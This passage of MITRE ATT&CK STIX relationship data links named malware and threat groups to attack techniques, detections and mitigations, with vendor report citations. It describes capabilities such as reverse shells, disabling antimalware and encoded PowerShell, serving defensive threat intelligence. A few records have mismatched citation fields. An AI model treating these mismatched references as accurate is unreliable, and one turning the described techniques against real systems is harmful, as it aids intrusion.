Snip3 May 2021)", "relationship_type": "uses", "source_ref": "malware--4327aff5-f194-440c-b499-4d9730cc1eab", "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f54e5455-c539-4bcb-9a06-92440314324f", "created": "2022-01-11T14:58:01.948Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T23:17:53.740Z", "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) can uninstall malicious components from the Registry, stop processes, and clear the browser history.(Citation: Prevailion DarkWatchman 2021)", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f5548cf6-d6d8-401e-997c-ee72642d691c", "type": "relationship", "created": "2019-01-30T13:28:47.879Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/", "source_name": "Unit42 Xbash Sept 2018"}], "modified": "2019-06-28T15:15:54.442Z", "description": "[Xbash](https://attack.mitre.org/software/S0341) can collect IP addresses and local intranet information from a victim\u2019s machine.(Citation: Unit42 Xbash Sept 2018)", "relationship_type": "uses", "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f55814a0-9e57-4bf3-bc40-21e7d3fca230", "type": "relationship", "created": "2021-05-26T12:23:49.116Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "source_name": "Mandiant APT1"}], "modified": "2021-05-26T12:23:49.116Z", "description": "[APT1](https://attack.mitre.org/groups/G0006) has used various open-source tools for privilege escalation purposes.(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f55d54fe-27ed-41f9-81db-11ccbe2d2125", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT28", "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T17:51:20.424Z", "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) provides access to the Windows Registry, which can be used to gather information.(Citation: FireEye APT28)", "relationship_type": "uses", "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f5633e19-e1be-4631-b714-d88016ded128", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", "source_name": "McAfee Gold Dragon"}], "modified": "2020-04-21T23:09:31.052Z", "description": "[Brave Prince](https://attack.mitre.org/software/S0252) terminates antimalware processes.(Citation: McAfee Gold Dragon)", "relationship_type": "uses", "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f569160b-af34-4919-8cfc-0dce1762e87d", "type": "relationship", "created": "2021-01-22T16:08:40.745Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NIST 800-63-3", "url": "https://pages.nist.gov/800-63-3/sp800-63b.html", "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019."}], "modified": "2021-06-21T17:58:03.706Z", "description": "Refer to NIST guidelines when creating password policies for master passwords.(Citation: NIST 800-63-3)", "relationship_type": "mitigates", "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", "target_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f56d72b4-f479-46e2-a766-41fcdd70d0d0", "type": "relationship", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.857Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. 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Though noisy, this data can be combined with other indicators to identify adversary activity.", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f56f129e-0a30-4be0-bc4b-5942a479e0f9", "created": "2022-07-25T18:20:36.684Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/", "description": "Chen, Joey. (2022, June 9). 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Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Heyoka Backdoor](https://attack.mitre.org/software/S1027) has been spread through malicious document lures.(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-25T18:20:36.684Z", "relationship_type": "uses", "source_ref": "malware--dff90475-9f72-41a6-84ed-1fbefd3874c0", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f56f953d-7df2-4eee-93b6-f2c8377153bb", "type": "relationship", "created": "2020-07-23T16:24:07.813Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. 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Retrieved July 16, 2020."}], "modified": "2020-07-23T16:24:07.813Z", "description": "[Bonadan](https://attack.mitre.org/software/S0486) can create bind and reverse shells on the infected system.(Citation: ESET ForSSHe December 2018)\t", "relationship_type": "uses", "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f570bb28-5658-4831-ba9c-3e437b496f01", "created": "2022-08-22T20:47:49.395Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Huntress API Hash", "url": "https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection", "description": "Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August 22, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor and analyze calls to functions such as  `GetProcAddress()` and `LoadLibrary()` that are associated with dynamically loading API functions.(Citation: Huntress API Hash)", "modified": "2022-08-23T15:23:09.321Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f5726b93-09c6-4130-8e87-5916338b438e", "created": "2024-03-15T19:37:56.826Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Security Mispadu Facebook Ads 2019", "description": "ESET Security. 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(2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.187Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used steganography in multiple operations to conceal malicious payloads.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f57dc789-e35e-4336-8935-9e1b7eca0324", "created": "2022-01-18T18:15:50.973Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "CrowdStrike AQUATIC PANDA December 2021", "url": "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "description": "Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) has downloaded additional scripts and executed Base64 encoded commands in PowerShell.(Citation: CrowdStrike AQUATIC PANDA December 2021)", "modified": "2022-04-15T15:24:47.581Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f57f7e65-0017-45a2-9abd-db439a64ad45", "type": "relationship", "created": "2020-03-11T14:17:21.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", "description": "OWASP. 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(2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}], "modified": "2020-10-16T00:41:06.761Z", "description": "[Hancitor](https://attack.mitre.org/software/S0499) has deleted files using the VBA <code>kill</code> function.(Citation: FireEye Hancitor)", "relationship_type": "uses", "source_ref": "malware--ef2247bf-8062-404b-894f-d65d00564817", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f590ef19-3b83-459d-993c-a599407b7ca0", "type": "relationship", "created": "2019-01-30T13:24:09.054Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). 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Retrieved October 13, 2021."}], "modified": "2021-10-14T14:09:00.668Z", "description": "[Octopus](https://attack.mitre.org/software/S0340) can capture screenshots of the victims\u2019 machine.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)", "relationship_type": "uses", "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f5936bbd-f8cb-404a-bd43-87f7bc836294", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist BlackEnergy Nov 2014", "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}], "modified": "2019-06-24T17:08:51.718Z", "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has the capability to communicate over a backup channel via plus.google.com.(Citation: Securelist BlackEnergy Nov 2014)", "relationship_type": "uses", "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f5985c00-3f5c-4fcc-b29d-d395db4d02cc", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor for newly constructed files that may attempt to hide artifacts associated with their behaviors to evade detection.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f5a175ba-ed26-44f8-9828-c2aa0e1f7d86", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", "source_name": "F-Secure BlackEnergy 2014"}], "modified": "2020-06-02T16:14:00.463Z", "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) communicates with its C2 server over HTTP.(Citation: F-Secure BlackEnergy 2014)", "relationship_type": "uses", "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f5a39799-22d3-42e6-b524-bd93744b0149", "type": "relationship", "created": "2020-08-13T18:21:08.572Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks MCMD July 2019", "url": "https://www.secureworks.com/research/mcmd-malware-analysis", "description": "Secureworks. (2019, July 24). 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Retrieved September 13, 2023.", "url": "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T17:11:12.817Z", "description": "[Snip3](https://attack.mitre.org/software/S1086) can use a PowerShell script for second-stage execution.(Citation: Morphisec Snip3 May 2021)(Citation: Telefonica Snip3 December 2021)", "relationship_type": "uses", "source_ref": "malware--4327aff5-f194-440c-b499-4d9730cc1eab", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f5fee3da-a3ef-4a81-a70c-9660ab1fb3d6", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "XAgentOSX 2017", "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}], "modified": "2019-07-26T23:07:21.252Z", "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.(Citation: XAgentOSX 2017)", "relationship_type": "uses", "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f602a8fc-5175-4bfe-a21d-1602d4c5c1ed", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6030347-c316-4c5c-b7ce-84c39aa09f85", "type": "relationship", "created": "2020-07-23T16:24:07.818Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}], "modified": "2020-07-23T16:24:07.818Z", "description": "[Bonadan](https://attack.mitre.org/software/S0486) can use the <code>ps</code> command to discover other cryptocurrency miners active on the system.(Citation: ESET ForSSHe December 2018)", "relationship_type": "uses", "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f60a3a4e-ba53-47ba-8e31-e301f3983f6e", "type": "relationship", "created": "2019-02-21T21:11:08.102Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT39 Jan 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}, {"source_name": "Symantec Chafer February 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."}, {"source_name": "FBI FLASH APT39 September 2020", "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}], "modified": "2021-10-12T23:00:49.409Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) leveraged spearphishing emails with malicious attachments to initially compromise victims.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f60afd0d-68d1-4b71-bb07-b943e9542b2d", "created": "2020-03-30T02:26:59.962Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster Loaders", "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016."}, {"source_name": "Novetta Blockbuster RATs", "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016."}, {"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}, {"source_name": "McAfee Lazarus Resurfaces Feb 2018", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encrypts data using a simple byte based XOR operation prior to exfiltration.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)", "modified": "2022-07-28T18:47:12.017Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f60b8223-eea6-422e-99c6-7f9b70e8ea53", "type": "relationship", "created": "2020-05-11T22:12:28.689Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye MESSAGETAP October 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html", "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020."}], "modified": "2020-06-24T01:43:11.357Z", "description": "[MESSAGETAP](https://attack.mitre.org/software/S0443) checks two files, keyword_parm.txt and parm.txt, for instructions on how to target and save data parsed and extracted from SMS message data from the network traffic. If an SMS message contained either a phone number, IMSI number, or keyword that matched the predefined list, it is saved to a CSV file for later theft by the threat actor.(Citation: FireEye MESSAGETAP October 2019)", "relationship_type": "uses", "source_ref": "malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f60e5a0d-cfdf-4c4e-be35-af5a2bdbc131", "created": "2022-04-20T22:16:59.101Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Enable the Hardened Runtime capability when developing applications. Do not include the <code>com.apple.security.get-task-allow</code> entitlement with the value set to any variation of true. ", "modified": "2022-04-20T22:16:59.101Z", "relationship_type": "mitigates", "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f60ed279-c720-4906-9e63-3cd7ce49e1e0", "type": "relationship", "created": "2020-06-18T16:12:54.219Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", "source_name": "ESET RTM Feb 2017"}], "modified": "2020-06-18T16:12:54.219Z", 